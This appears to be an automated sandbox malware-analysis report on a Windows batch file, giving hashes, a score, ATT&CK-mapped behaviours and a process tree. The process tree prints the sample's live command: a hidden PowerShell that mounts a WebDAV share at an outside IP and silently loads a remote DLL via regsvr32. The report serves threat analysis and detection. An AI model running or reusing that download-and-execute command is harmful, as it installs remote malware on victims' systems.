3df16b5b4c801babdc731ece387dd0c9a5793e978f8567b08178ff16ea43a8ce

Analysis

max time kernel
140s
max time network
113s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 08:50

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General

Target

3866161191216816071.bat
Size

23KB
MD5

07080e4d04c3edc7606d252cc626b36c
SHA1

dcf5e44d4d21fabd41fcf4cdb0a9ed324de3a7ca
SHA256

3df16b5b4c801babdc731ece387dd0c9a5793e978f8567b08178ff16ea43a8ce
SHA512

0bc0d134eab2e8a7a5df5dfc79cb8e23d0288cbafb64c9155238a4bf8780ca10de7c78804ac26db67298297e4827c8c09c87ec1285a4f44e99d7c4d58b2dab2b
SSDEEP

384:6nvjA9TpMLBLeI453wDUieDtYsJFfD75eaLqPnLmbZ3ZmrXN96Y1CaRhQ20n13Z8:U7A3MM3XxXH2nLmVpmXNQab03SF

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1616	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1616	powershell.exe
1616	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1616	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
396	wordpad.exe
396	wordpad.exe
396	wordpad.exe
396	wordpad.exe
396	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3312 wrote to memory of 396	3312	cmd.exe	85
PID 3312 wrote to memory of 396	3312	cmd.exe	85
PID 3312 wrote to memory of 1616	3312	cmd.exe	88
PID 3312 wrote to memory of 1616	3312	cmd.exe	88
PID 1616 wrote to memory of 2720	1616	powershell.exe	90
PID 1616 wrote to memory of 2720	1616	powershell.exe	90
PID 1616 wrote to memory of 2916	1616	powershell.exe	91
PID 1616 wrote to memory of 2916	1616	powershell.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3866161191216816071.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3312
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\27192132018104.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1616
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2720
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\27192132018104.dll
    3⤵
    PID:2916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rl4mwhjo.sj3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1616-7-0x00000171A0040000-0x00000171A0062000-memory.dmp

Filesize
136KB

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